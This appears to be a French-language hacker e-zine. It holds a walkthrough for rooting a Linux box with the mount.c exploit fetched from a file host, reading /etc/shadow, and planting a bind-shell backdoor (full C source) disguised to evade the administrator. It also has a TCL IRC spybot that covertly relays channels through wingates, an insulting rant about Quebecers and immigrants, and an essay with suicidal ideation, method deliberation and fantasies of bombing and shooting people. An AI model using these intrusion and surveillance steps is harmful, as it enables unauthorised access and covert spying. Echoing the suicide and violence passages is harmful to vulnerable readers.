nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal time stream tcp nowait root internal time dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd # # Shell, login, exec, comsat and talk are BSD protocols. # #shell stream tcp nowait root /usr/sbin/tcpd in.rshd #login stream tcp nowait root /usr/sbin/tcpd in.rlogind #exec stream tcp nowait root /usr/sbin/tcpd in.rexecd #comsat dgram udp wait root /usr/sbin/tcpd in.comsat talk dgram udp wait nobody.tty /usr/sbin/tcpd in.talkd #ntalk dgram udp wait nobody.tty /usr/sbin/tcpd in.ntalkd #dtalk stream tcp wait nobody.tty /usr/sbin/tcpd in.dtalkd # # Pop and imap mail services et al # pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d imap stream tcp nowait root /usr/sbin/tcpd imapd # # The Internet UUCP service. # #uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l # # Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." Do not uncomment # this unless you *need* it. # #tftp dgram udp wait root /usr/sbin/tcpd in.tftpd #bootps dgram udp wait root /usr/sbin/tcpd bootpd # # Finger, systat and netstat give out user information which may be # valuable to potential "system crackers." Many sites choose to disable # some or all of these services to improve security. # finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd #cfinger stream tcp nowait root /usr/sbin/tcpd in.cfingerd systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx netstat stream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet # # Authentication # # identd is run standalone now # #auth stream tcp wait root /usr/sbin/in.identd in.identd -e -o # # End of inetd.conf linuxconf stream tcp wait root /bin/linuxconf linuxconf --http #swat stream tcp nowait.400 root /usr/sbin/swat swat Maintenant, nous devons tenter de trouver un exploit pouvant nous donner le root sur la machine. Une visite sur www.hack.co.za ou ftp.technotronic.com s'impose. j'ai choisi l'Exploit mount.c car il est simple a compiler et a exécuter. Nous prenons l'exploit sur http://www.hack.co.za, apres nous l'uploadons sur un account free sur xoom par exemple. Après, il suffit de le downloader a partir du shell. bash$ ftp ftp.xoom.com on donne notre login/password et apres on fait get mount.c l'exploit sera downloader dans le répertoire actif de notre shell. Une fois que l'exploit est sur le shell, il faut le compiler. Il suffit de faire gcc mount.c -o mount pour faire apparaitre le fichier exécutable mount On poursuit avec un ./mount et la miracle!!!! notre prompt change de bash$ pour devenir bash# . Une verificaion rapide s'impose, entrons la commande bash# whoami root Vous etes maintenant l'utilisateur root :) Conserver le status root ======================== Maintenant que nous sommes root sur la machine, l'objectif est de ne pas le perdre et d'effacer les traces de notre infraction. Une des premieres choses a faire serais de faire la commande bash# cat /etc/shadow pour se garder des voies d'entrer en cas de problemes. Aussi, un backdoor peut-etre tres utile si on veux faire runner des programmes sur la box sans que cela paraisse. Nous avons choisi de prendre socdmini.c car encore une fois, il s'agit d'un exploit simple a installer et a faire fonctionner. /* quick thingy... bind a shell to a socket... defaults to port 31337 */ /* code by pluvius@io.org */ /* don't forget.. when you connect to the port.. commands are like: */ /* "ls -l;" or "exit;" (don't forget the ';') */ #define PORT 31337 #include #include #include #include #include int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; int main () { soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); if (fork() != 0) exit(0); setpgrp(); signal(SIGHUP, SIG_IGN); if (fork() != 0) exit(0); soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); if (soc_cli < 0) exit(0); cli_pid = getpid(); server_pid = fork(); if (server_pid != 0) { dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); execl("/bin/sh","sh",(char *)0); close(soc_cli); exit(0); } close(soc_cli);}} Donc, il s'agit tout simplement d'un deuxieme telnetd sans login/password sur un port customisable. La seule difference est que tout les commandes doive finir par ; et que surtout, les access a la box et les programmes exécuter ne sont pas logger. Je vous conseille fortement de prendre une backdoor fonctionnant avec un authentification par mot de passe car un simple portscan révèle la vulnérabilité de la box. La deuxième chose importante est de changer l e port par défaut car 31337 est asser évident sur l'origine de l'application. Troisièmement, je vous conseille de renommer la backdoor en quelque chose de plus subtil que socmini pour que le vrai root ne la découvre pas avec une simple commande ps. Pour ceux qui non vraiment aucune connaissance du langage c ou de la logique de programmation, remplacer la ligne #define PORT 31337 pour par exemple #define PORT 4254 si vous voulez que le port de la backdoor soit 4254. Now you're a root ================= Maintenant, faites se que vous voulez de la box, et tacher de rester discret. Je tiens a préciser que je n'encourage personne a pirater mais ceci est un exemple d'une attaque de script-kiddies asser simple, mais qui permet de controler entierement l'ordinateur a distance. MindFlayR mind@underdark.cc .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' /\ +----------------+ /\ ii /\ |The Ferocious | ii--ii--ii- |Beast Is Proud | _________ //- -\\ |To Sponsor our | , ,-----' ******--// \\ |e-zine | |\, //****** **** // ___ ___ \\ +----------------+ 1*\ /// **** / / \ | / \ \ \// | | * | || * | | / **** | | | || | | |* ****** **** | | | || | | |*** ****** ****** | \___/ | \___/ | |**** **** ****** | '\, | \,,--------- |*** **** | \_/ ------' | \\ Roar !! \\ | | '\ | 'Im Ferocious\ | **** | \, | |And Mindkind | |****** **** \ '\, / |own me ! | \**** ****** **** \\ '\,___. // | | \\* ****** ****** \\ // | GOOGLY! | \\\ **** ****** \\_____________// \ MOOGLY! / \\\\- **** ,// \\ // ;----;-------;----;-//' ------- | '\, | ****\, \-----' \--****' .--. .----------------------------------------------------------------/ /--. | le pouvoirs des cons / / | | a k a / / 07 | | quand on choisi deliberement la stupiditer / / | '------------------------------------------------------------/ /------' '--' Jours après jours, mois après mois, années après années, le québécois devient de plus en plus stupide et con. Vous ne trouvez pas que le québécois moyen pogne ? Moi oui, Prennez par exemple les supers élections qu'on vient d'avoir. Vous allez dans un restaurant vous entendez les gens qui chialent contre le gouvernement vous allez au magasin, vous entendez encore des gens qui se plaignent. Meme a la maison vos parents se plaignent continuellement du gouvernement. Alors, il serait normal que la démocratie fonctionne et qu'on l'utilise. PFFF surprise, 63% de participation aux élections. Chose cocasse, le gars de la radio AM avant les élections se plaignait, le lendemain il c'est vanté ONLINE de ne pas être aller voter Je vais vous le dire le quebecois moyen n'est pas seulement stupide, cest un lache ! Les prix de l'essence ont grimpé de 50%, le quebecois c'est plein au maximum et quand les petrolieres ont anoncé publiquement que leur profit n'avait jamais été aussi élevé, les quebecois ont baissé les bras. VIVE LA RESISTANCE. Le quebecois aime se faire chier dessu, il en a meme besoin. Les americains lui chie dessu, les francais lui chie dessu et en plus , il se chie dessu lui meme. Mais il repond quoi a toute ces affirmations ?? "cest la faute au gouvernement", "cest a cause des imigrants" Le quebecois est incapable de se rendre compte que cest seulement et entierement de sa faute si les anglais sont en train de bouffer sa langue maternelle. Dailleur !! demandez a la fiere jeunesse ce qu'elle pense de sa langue et de sa culture et vous allez surement etre surpris. Le quebecois est en voix de disparition par sa faute et il sen fou. Je le dit et je suis sincere , tout le s quebecois sont des imbeciles. Parlons un peu de cette jeunesse qui crie plus fort que nimporte qui que la société cest de la merde, cette jeunesse qui est prete a casser des vitres et a peinturer des coneries pour "sexprimer". Cette jeunesse qui passe son temp a fumer et qui glande a lecole tout en se repetant son slogan préféré : "fuck la vie , fuck la langue , fuck la sociétée, fuck l'autoritée, fuck all". Gagne de looser. je suis un jeune et je me joint au mouvement : "fuck le quebec" La loi 101 qui nous protegeait legerement va etre abolie, nous nintegrons plus les immigrants, au lieu de sa on les laisse sinstaller et "vivre leur culture" nous sommes dailleur le seule coin au monde assez stupide pour se laisser assimiler. Maintenant dans les ecoles on apprends aux enfants des tas de religion et de sectes pour etre sur que notre peuple disparaisse. Notre fete nationale est une vraie farce, les jeunes et les plus vieux l'aime parce quon peut se souler a mort et oublier nos problemes et quand on est saoul cest plus facile de dire que tout va bien. Le quebecois moyen est un petit peureux. Quand le francais le traire de con il se dit que cest pas de sa faute, quand l'americain le traite de con il se dit que de toute facon is ont tout les droits et quand il se fait traiter de con par un autre quebecois il dit "toi le premier". le peuple quebecois vit avec les yeux fermé , il se bat dans sa tete contre des enemis quil croit reel. 99% des quebecois sont convaincu que se plaindre dans sa tete fait bouger les choses. - Maudites petrolieres il nous bouffe toute notre argent !! , - pourquoi tu va pas manifester avec les autres ? , - ben jai mieu a faire. Le quebecois sont des trou de cul et bientot il parleront anglais, arabe et hebreux, porteront des vetements asiatiques et peseront 500 lbs. Le quebec sera bientot sous un regime militaire ou communiste, ou bien il deviendra un etats des US. L'assimilation nous guete et tout le monde sen fou. vive le quebec. et vive les cons. init_null (with an english touch) .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' Cannot find REALITY.SYS. Universe halted. .--. .----------------------------------------------------------------/ /--. | little brother 1.0 / / | | a k a / / 08 | | la saga d'une boite de bine / / | '------------------------------------------------------------/ /------' '--' l'article suivant, a 2 but principale, 1, de donner a ceux qui sont lache, un tcl efficace pour eggdrop afin de creer un spybot, et en 2eme lieu de faire lieu de reference pour l'utilisation de socket en TCL, domaine qui manque malheureusement de documentation (il sagit en fait d'un des premiers TCL public pour eggdrop a faire appel a l'utilisation de Socket (ce n 'est pas le premier j'en convient, mais les expliquations fournie avec eviterons bien des mots de tete a qui voudrais creer une application du genre pour sont eggdrop. personnellement j'ai du me baser sur des reference de tcl "normal", plutot vague d'ailleur, afin d'arriver a mon but ( pas de danger que j'aille recu l'aide esperer sur undernet (#scripteur #scripteurs et tout les chan de wanabe egg warlord (#19 genre)). enfin, si vous etes trop lache pour essayer de comprendre, copier/coller le code, et ajouter le en tcl/script a un de vos egg, Comment utiliser le script ? c'est pas compliquer, si vous etes capable de rentrer sur irc, vous allez etre capable de vous en servires. un coup installer et laoder vous n'avez qua taper sur le chan ou vous desierez voir l'info arriver !pipe nick #chan. ie: !pipe Encoder #securiweb, va faire entrer sur securiweb un spybot au nick de encoder qui va paster tout la conversation de securiweb sur votre chan (c'a peu etre pratique quand on est plusieur a voulloir spyer un meme chan, ca evite un mass join peu subtile). si vous avez un wingate (un vrai qui renvois la string WinGate> , vous pourez faire passer le robot par la avec la commande suivante !pipe nick #chan wingate port ie : !pipe Encoder #securiweb wingate.com 23 le resultat va etre le meme en bout de ligne sauf que votre spybot va avoir le ip du wingate (moin reperable ou plus (genre un .jp c'est pas trustable :]) ps : si vous voullez utilise le code noubliez pas de creer dans le repertoire de votre egg un fichier text nomer server.txt et inserer dedans vos serveur preferer. bon passont au code :} si vous etez avares d'espace vous pouvez toujours enlever les lignes # comme il sagit dun code free (sans license),vous en faites ce que vous voullez, mais si vous faites des modifs interressante j'aimerais que vous m'en facier par via encoder@operamail.com ----------------------lazy cut here------------------------ # Spybot 1.0 by Wyzeman tcl script for Cybersix #c'est ici que sa commence ;] bind pubm - * pipe proc pipe {nick host hand chan triggers} { set triggers [string tolower $triggers] #mettre tout en minuscule (ce qui vien du chan irc primaire #et non pas celui quon spy) if {[string match !pipe* $triggers]} { #si tu vois !pipe quelquechose, commence a faire dequoi set pipehost [open server.txt "r"] set cline 0 while {![eof $pipehost]} { set lines($cline) [gets $pipehost] incr cline } close $pipehost set pipehost $lines([rand $cline]) #ici on determine le server undernet choisi dapres une liste #creer dans un fichier text (server.txt en attache au ezine) set pipeport "6660" #afin deviter que le monde fasse des query stupide jai #limiter le port a 6660 (jaurais pu faire un random comme #pour le serveur, mais bof, si ca fait pas votre affaire #vous n'avez qua le modifier set pipenick [lindex $triggers 1] #le nick choisir (qui correspong au 2e caractere de la string #!pipe (le premier caractere etais representer par 0) set pipechan [lindex $triggers 2] #le chan choisi set wingate [lindex $triggers 3] #le wingate (optionnelle), ne marquer rien apres le chan #autre qu'un wingate sinon il va essayer de se connecter dessus set pwingate [lindex $triggers 4] #le port du wingate, if {$pipehost < 1} { set pipehost "london.uk.eu.undernet.org" #ici javais un probleme de ligne vide dans le fichier server.txt #afin de limiter les degats, jai ajouter ceci pour quil force #le serveur lodon si jamais il tombais sur la ligne vide #vous pouvez bien sur remplasser par votre serveur preferer } else { if {$wingate > 0} { #si il y a quelque chose dans la variable wingate set sock [socket $wingate $pwingate] #initiation du socket (on voit ici que le socket se gere #dans une variable (comme en php) donc en gros, creer la #variable sock qui ouvre un socket sur le wingate et sont port putchan $chan "connected to wingate" #question de savoir ou le code est rendu fileevent $sock readable [list display_sock $sock $chan $pipenick $pipechan $pipehost $pipeport] #va lire la variable sock (referense a la procedure display_sock #(voir plus bas) et donne lui les variables ($sock $chan $pipenick, etc) # parce qu'on va en avoir besoin dans cette procedure fconfigure $sock -buffering line } else { #si la variable wingate est a 0 set sock [socket $pipehost $pipeport] #ouvre un socket sur la valeur de $pipehost et $pipeport putchan $chan "connected to $pipehost" #vous etes ici fileevent $sock readable [list display_sock $sock $chan $pipenick $pipechan $pipehost $pipeport] #passe a la procedure display_sock et mode lecture de la variable $sock #qui correspond au contenu du socket fconfigure $sock -buffering line } } } } proc display_sock {sock chan pipenick pipechan pipehost pipeport} { #la fameuse procedure display_sock set 1 [gets $sock] #met le contenu du socket dans la variable $1 #pour quon puisse la modifier independament du socket (ouvert en lecture) if {[string match WinGate* $1]} { #si tu recois la string Wingate> fileevent $sock writable [list wingate_connect $sock $pipehost $pipeport $chan] #va a la procedur wingate_connect avec la variable #$sock en mode ecriture } elseif {[string match *NOTICE*AUTH*Looking*hostname* $1]} { fileevent $sock writable [list auth_sock $sock $chan $pipenick] } elseif {[string match PING* $1]} { fileevent $sock writable [list ping_sock $sock $1 $chan] } elseif {[string match *End*of*/MOTD* $1]} { fileevent $sock writable [list join_sock $sock $chan $pipechan] #differente reconnaissance de string pour effectuer la connection #elle renvoie a des procedure utilisant la variable #$sock en mode ecriture (pour envouer du data) } elseif {[string match *PRIVMSG*$pipechan* $1]} { set 1 [string trim $1 :] set 1 [string map {! " "} $1] set 2 [lindex $1 0] set 3 [lrange $1 4 end] #epuration des string recu (afin de conserver que le #nescessaire pratique et estetique putchan $chan "$2 $pipechan $3" #afichage du chan que lon spy sur le chan dorigine(trier plus haut) } elseif {[string match *$pipenick*$pipechan*:Cannot join channel(+l) $1]} fileevent $sock writable [list join_sock $sock $chan $pipechan] #si le chan est +l (limite user) reessaye toi jusqua ce que tu entre #en re referant a la procedur join_sock a chaque fois } elseif {[string match *Cannot*join*channel*]} { putchan $chan "cant reach channels" close $sock #si pour une autre raison le spybot peu pas joindre le chan #dit la raison et deconnect } elseif {[string match *ERROR* $1]} { putchan $chan "disconnected" putchan $chan "$1 SUCKER'S" #si irc envoie un message derreurs, reply le (on veut savoir :]) } } proc wingate_connect {sock pipehost pipeport chan} { puts $sock "$pipehost $pipeport \r\n" putchan $chan "$pipehost $pipeport" fileevent $sock writable {} #fermeture du $sock en ecriture } #procedure a effectuer lors d'un pipe utilisant un wingate proc auth_sock {sock chan pipenick} { set pipeuser "user Data x x :Mom's_on_the_run" set pipenick "nick $pipenick" puts $sock "$pipeuser \r\n" puts $sock "$pipenick \r\n" putchan $chan "sending: $pipeuser $pipenick" fileevent $sock writable {} } #connection a irc typique (largement expliquer un peu partout #je mabstiendrais donc de commenter :] proc ping_sock {sock 1 chan} { set pipepong [string trim $1 PING ] set pong "PONG $pipepong" putchan $chan "$pong" puts $sock "$pong \r\n" fileevent $sock writable {} } #idem proc join_sock {sock chan pipechan} { putchan $chan "joigning $pipechan" puts $sock "JOIN $pipechan \r\n" fileevent $sock writable {} } #procedure pour joigner le chan a spyer #reutiliser si le chan est en +l putlog "pipe1.0 by Wyzeman laoded" #greet a moi meme ---------------------lazy uncut here----------------------- en gros, les socket tcl sont plutot simple malgres que peu utiliser et peu doccumenter, je crois que le manque d'imagination et la lacheter sont les 2 principals facteur qui expliquerais se phenomene. J'ai en tete quelque alternative a ce code, que je vous ferez p-e par dans un article ulterieur de Mindkind. J'ai ecris cette article afin de prouver que ce la limite n'est pas nos connaissance mais bien notre propre imagination. Meme avec un eggdrop et du TCL on peu faire des truc interressant. Wyzeman .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' Windows 98 supports real multitasking - it can boot and crash simultaneously. .--. .----------------------------------------------------------------/ /--. | / / | | nothing94's Pessimism / / 09 | | / / | '------------------------------------------------------------/ /------ /__/ Vous-êtes vous déjà demandé si la vie vaut la peine d'être vécue ? Vous-êtes vous déjà demandé si vos actions en valent la pine ? Et bien moi oui, depuis plusieurs mois, je me demande ce que je fais ici. Je me questionne sur la véritable nécessité de vivre. Je ne réussis pas à voir une véritable raison de vivre. Alors, je m'enfonces dans les ténèbres, j'en perd toute joie en la vie. Chaque moment est pénible et chaque instant est une remise en question. Le seul moyen d'y échapper est de trouver un divertissement quelconque. Mais seul le snowboard peut me remmetre de bonne humeur. L'été est une longue et pénible épreuve et l'hiver québécois est toujours trop court. Alors, je sacre, j'encaisse, ma haine accentue. Mon pessimisme devient de plus en plus flagrant. Mes fréquentations sociales se détériorent et mon renfermement est devenu mon ennemi. Je suis dans une impasse. Aurais-je l'occasion de vous faire sauter en posant des bombes ? J'espères que oui. Aurais-je la tentation de vous anéantir ? Je l'ai déjà. Vous qui êtes la race intelligente. Vous qui êtes l'animal doué de raison. Tout ceci n'est qu'hypocrisie, car vos actions sont dignes des plus stupides. Le suicide Cette vie misérable me mène où ? Sérieusement, les buts que je me donne ne mènent nul part. Je m'aperçois facilement que ma vie est inutile, je ne suis qu'une entité qui agit sans savoir pourquoi il agit. Cette vie qui est la mienne n'est qu'une perte de temps en réalité. À quoi sert de vivre pour devenir un programmeur ?J'ai bien beau aimer programmer, mais tout le temps perdu durant ces années d'apprentissage et tout le temps perdu à travailler pour accumuler du papier ne sert à rien. Le peu de plaisir que j'en retire est tellement minime comparé à toute la mélancholie et la haine que ce monde me procure. Toute la haine et la noiceur de ma vision me semble une éternité. J'aurais le goût de me procurer de l'armement militaire et de vous mitrailler sans pitié. Vous qui avez détruis mes rêves, vous qui avez tuez mon âme. Mais la mort ne serait en fait que vous rendre service. Je devrais détruire votre vie entière. Je devrais anéantir les gens que vous aimez. Je devrais tuer la population qui vous entoure. Plus personne ne serait là pour vous encourager, vous aimer et vous parler.Que feriez-vous ? Tous vos buts seraient anéantis. Toutes vos ambitions se volatiliseraient. Pourquoi voudriez-vous vivre plus longtemps ? Je réussierais à vous détruire sans vous toucher le moindre cheveux. C'est en voyant toute cette noirceur en moi que je m'aperçois que je suis ici pour rien. Je sais que je ne serai jamais content de cette société, je sais que je n'adopterai jamais vos valeurs et vos traditions. Je sais que je vous détesterai jusqu'à ma mort tous autant que vous êtes. Mais une autre embuche se pose dans ma vie. Si je vous déteste tous, pourquoi je vie puisqu'un humain seul n'a aucune raison de vivre. Nous vivons pour se faire féliciter, impressionner ou bien tout simplement se faire remarquer. Prenons l'exemple de quelqu'un qui joue dans un band, celui-ci aime jouer de la musique, mais si personne n'est là pour l'écouter et approuver ce qu'il fait, il se lassera puisqu'il verra que ça ne sert à rien. Sans entourage, l'estime de soi n'est rien. La vie perd alors son sens. Je ne veux donc pas savoir votre avis sur ce que je fais et ce que je penses, ma vie perd sa raison. Cette réflexion ne me laisse qu'un seul résultat possible, le suicide devient le seul remède à mes soucis. Une seule variable peut influencer cela. Je me demande si je dois vraiment attendre à plus tard ou bien me suicider tout de suite. Je me demande si je devrais laisser des mémoires avant de me tuer pour que les gens comprennent mon état d'âme. De toute manière, les gens ne pourraient comprendre ce que je ressens, je vois d'avance leur critique à mon égard. Ils ne peuvent pas comprendre. La meilleur manière de me tuer serait de sauter d'un building. Ça serait en quelque sorte un dernier trip défiant les lois de la physique avant de mourir. J'aurais le temps de revoir ma vie défiler, seulement SI les gens disent la vérité sur la mort, car l'histoire du tunnel avec la lumière au bout me semble tout à fait stupide. Alors pourquoi croire les autres histoires concernant la mort ? Je ne veux pas me suicider en me pendant ou en utlisant des manières inutiles et sans but. Un saut de parachute sans parachute serait très bien pour me suicider, mais je devrais suivre des cours et cela serait long, mais qui sait, peut-être que j'opterai pour cette méthode éventuellement. N'essayez surtout pas de "m'aider" à me sortir de cette impasse. Je ne ferais que me mettre en colère. Ne dites surtout pas que je suis malade mentalement, car, qu'est-ce qui vous rend si sûr que la vie est une bonne chose ? Respectez mes choix. Vous n'avez qu'à me respecter. Laissez-moi agir comme bon me semble, c'est ma vie, mon corps. De toute manière, ce corps n'est qu'un module de communication s'affaiblissant de jour en jour. Vous n'avez aucune raison d'avoir peur de ce qui se cache derrière la vie. Vous n'avez aucune raison de vouloir me "sauver". Le jour où je me tuerai, vous vous direz que c'était mon choix et que c'est ce qui était le mieux pour moi. L'ignorance est le plus beau cadeau que vous pouvez obtenir sur terre. Vaut mieux ne rien savoir que de voir du noir partout. Compte-rendu de mes pensées négatives À la suite de mon texte sur le suicide, cette idée est venue me hanter durant plusieurs semaines. J'y ai approfondit mon point de vue sur ce tabou que les gens craignent. J'en suis rendu au point où lorsque les gens autour de moi parle de situation où l'on pourrait mourir, je leur dis tout bonnement qu'ils n'ont qu'à me tuer. Ils peuvent ruiner ma vie si bon leur semble. S'il veulent arriver près de moi et me poignarder avec un couteau, bien ils n'ont qu'à le faire. Ça ne fera que soigner mes blessures et me libérer de cette illusion. Les réalités de cette vie me font de plus en plus vomir. Seul le temps peut soigner mes blessures et je n'oses pas affronter le temps. Le temps gagne toujours. Il est le parfait combattant qui attend sa revenge. Alors, si quelqu'un veut me tuer d'une quelconque manière, je lui donne ma vie. Mais pourquoi ne pas me suicider ? Je ne sais pas, présentement, je n'ai pas de point de vue objectif sur cette question. Lorsque je pense à me suicider immédiatement, un mélange de refus inconscient et de questionnement sur la manière à utiliser surgit et ça finit que j'en perds le goût après avoir élaboré mentalement diverses façons de me tuer. Je ne sais pas si cet état d'esprit va durer longtemps. Peut-être que je vais agir de la sorte durant toute ma vie et qu'en fin de compte je vais avoir vécu bien longtemps. Cependant, une chose est sure, je sens mes pensées devenir de plus en plus sombre. Ma haine envers le monde accentue de jour en jour, minute après minute, les questionnements auquels je m'affronte deviennent de plus en plus insupportables. J'en fini par ne plus y répondre, j'en reste moins désappointé. J'ai beau essayer de rechercher la joie à ma manière, la noirceur me retrouve toujours. Vous est-il déjà arrivé de pleurer en vous demandant ce que vous faites en ce monde ? Et bien moi oui, c'est à ce moment que ce penchant suicidaire a commencé. J'y ai vu que la vie était totalement inutile et j'y ai vu toute la haine refoulée en moi depuis plusieurs années. Les années du secondaires sont la principale cause de cette haine. Chaque individu que je voyais me dégoûtait et je me suis refermé sur moi-même avec le temps. Maintenant, je n'oses même plus penser à ce que font les autres, ça me déprime trop. Je ne me considère pas comme un saint qui fait tout bien, mais je vois en vous du dégoût. Je ne suis pas m eilleur. Je déteste votre mode de vie tout simplement. Je vous déteste. Je vous déteste. Je vous déteste. nothing94 http://nothing94.250x.com icq 44643108 life is nothing Wyzeman : j'ai pensee longtemps avant d'accepter de publier cette article. Jme suis demander qu'est-ce que ca allais portee de bon au Ezine, si ca n'entrais pas en conflit avec certaine ideologie personne et/ou de mindkind. Car apres tout, ce n'est pas tres joyeux, ca pourrais peu etre ainsiter du monde a faire pareille, et ya aucune "moral". Cependant, c'est une veritee qui nous touche, tres particulierement au Quebec, Je doute que publier se text dans mindkind engendre un mouvement gouvernemental ou social anti-suicide, mais ce n'est pas une excuse pour faire l'autruche. Et dailleur la lecture de ce text ma rappeller les texts de F.U.C.K (fucked up college kid, pour les incultes). Et puis le ezine est dejas assez gros pour que ca ne passe pas pour un article "bouchon". .-----------------------------------------------------------------------. | | '-----------------------------------------------------------------------' gcc fichier.c -o fichier.exe .--. .----------------------------------------------------------------/ /--. | / / | | Master boot record aka hit me harder master / / 10 | | / / | '------------------------------------------------------------/ /------' /__/ Le MBR d'un 80x86 Le but de ce texte est d'exposer le fonctionnement d'un MBR standard et de servir de base à d'éventuels articles sur des sujets connexes. En fait, ce texte couvre le démarrage de l'ordinateur 80x86 et s'arrête avant le démarrage du système d'exploitation. Lorsque l'ordinateur est mit sous tension, le processeur recoit un courant électrique qui a pour effet de le réinitialiser. Ses registres CS:IP se retrouvent alors automatique initialisé avec les valeurs 0FFFFh:0000. Une brève définition des registres du processeur 80x86 est présenté à la fin du texte. Pour l'instant, disons seulement que le registre CS (code segment) est utilisé comme pointeur de base sur le code à exécuter et le registre IP (instruction pointer) est utilisé comme offset (indice) sur ce pointeur de base. Pour en revenir à ce qui nous intéresse, l'adresse 0FFFFh:0000 est l'adresse contenant le code du "POST" présent dans le BIOS. Le "POST" signifie "Power On Self Test" et a pour fonction de faire l'initialisation primaire des périphériques comme la carte vidéo, périphériques de stockage, RAM, ROM, clavier... Une fois les registres du processeur pointant sur cette partie de code, il commance immédiatement à exécuter les instructions. À la fin de toutes ces initialisations se trouve les premières commandes permettant d'entreprendre le chargement du système d'exploitation. Si aucune erreur ne s'est produite, le code recherche quel périphériques de stockage utiliser pour continuer le démarrage. Il initialise par la suite le registre DL avec le numéro de périphérique et génère int 19h. Un int ou "interrupt" est une série de fonction de bas niveau. Un int est généralement accompagné de paramètres, dans ce cas si déposé dans le registre DL. Un int 19h, fonction du BIOS, a pour effet de charger en mémoire à l'adresse 0000:7C00h le premier secteur physique (secteur 1, cylindre 0, tête 0) de l'unité de stockage désigné en paramètres. L'ordre suivi par le BIOS pour déterminer quel unité utiliser est déterminé par la configuration établie sur chaque système (ex : A:, C: ..). Si l'unité de stockage choisi est un disque dur, le premier secteur mit en mémoire sera le MBR tandis que pour une disquette, ce sera le "boot sector". Le MBR a pour unique tâche de déterminer à quel disque donner le contrôle pour démarrer un système d'exploitation tandis que le boot sector est de démmarer ce système d'exploitation. Rapidement, on peut conclure qu'un disque contient un seul MBR au tout premier secteur physique mais peut par contre contenir plusieurs boot sector, i.e un sur chacun des premiers secteur logique de chaque partition. Dans le cas d'une disquette, elle ne contient aucun MBR puisqu'elle ne peut-être partitionné et contient évidemment qu'un seul boot sector utilisé pour démarrer le système d'exploitation. Pendant tout ce temps, le BIOS n'a aucune notion de ce qu'il a chargé en mémoire. Par contre, dans les deux cas possibles il vérifie que le secteur chargé sois bien terminé par deux octets possédant la valeur 55AAh i.e à l'offset 1FEh. Ces deux octets servent de signature au secteur et permettent de s'assurer qu'il est bien un BS ou un MBR. Si vous modifier cette signature pour "00 00", vous aurez un message semblable : "Boot Record Signature 55AA Not Found, 0000 Found". Par la suite, si tout est valide le BIOS saute à l'adresse 0000:7C00h et le processeur débute l'exécution des instructions du MBR appelé "master bootstrap loader code". Voici la strucure du MBR: À l'offset Taille Description ----------------------------------------------------------------------- 00h 446 octets master bootstrap loader code 1BEh 16 octets enregistrement pour la partition 1 1CEh 16 octets enregistrement pour la partition 2 1DEh 16 octets enregistrement pour la partition 3 1EEh 16 octets enregistrement pour la partition 4 1FEh 2 octets a la valeur 55AAh si le MBR est valide En regardant le tableau précédant, on remarque quatres enregistrements constituants la table de partition. La table de partition est un tableau de quatre enregistrements chacun contenant dix informations spécifiques à chaque partition primaire. Chacun des enregistrement débute respectivement à l'offset 1BEh, 1CEh, 1DEh, 1FEh. Le tableau suivant décrit les champs présents dans une table de partition. À l'offset Taille Description ----------------------------------------------------------------------- 00h octet détermine si la partition doit être utilisé pour booter (80h=oui 00h=non) 01h octet tête de départ 02h 6 bits secteur de départ 03h 10bits cylindre de départ 04h octet type de volume 05h octet tête de fin 06h 6bit secteur de fin 07h 10bits cylindre de fin 08h dword nombre de secteur avant la partition 12h dword taille de la partition en secteur Voici à titre "extrêmement" informatif uniquement une liste de valeur pour le type de volume: 00h empty 01h DOS 12-bit FAT 02h XENIX root file system 03h XENIX /usr file system (obsolete) 04h DOS 16-bit FAT (up to 32M) 05h DOS 3.3+ extended partition 06h DOS 3.31+ Large File System (16-bit FAT, over 32M) 07h QNX 07h OS/2 HPFS 07h Windows NT NTFS 07h Advanced Unix 08h AIX bootable partition, SplitDrive 09h AIX data partition 09h Coherent filesystem 0Ah OS/2 Boot Manager 0Ah OPUS 0Ah Coherent swap partition 10h OPUS 11h OS/2 Boot Manager hidden 12-bit FAT partition 12h Compaq Diagnostics partition 14h (resulted from using Novell DOS 7.0 FDISK to delete Linux Native part) 14h OS/2 Boot Manager hidden sub-32M 16-bit FAT partition 16h OS/2 Boot Manager hidden over-32M 16-bit FAT partition 17h OS/2 Boot Manager hidden HPFS partition 18h AST special Windows swap file 24h NEC MS-DOS 3.x 3Ch PowerQuest PartitionMagic recovery partition 40h VENIX 80286 42h SFS (Secure File System) by Peter Gutmann 50h Disk Manager, read-only partition 51h Disk Manager, read/write partition 51h Novell??? 52h CP/M 52h Microport System V/386 56h GoldenBow VFeature 61h SpeedStor 63h Unix SysV/386, 386/ix 63h Mach, MtXinu BSD 4.3 on Mach 63h GNU HURD 64h Novell NetWare 65h Novell NetWare (3.11) 70h DiskSecure Multi-Boot 75h PC/IX 80h Minix v1.1 - 1.4a 81h Minix v1.4b+ 81h Linux 81h Mitac Advanced Disk Manager 82h Linux Swap partition 83h Linux native file system (ext2fs/xiafs) 84h OS/2-renumbered type 04h partition (related to hiding DOS C: drive) 93h Amoeba file system 94h Amoeba bad block table A5h FreeBSD, BSD/386 B7h 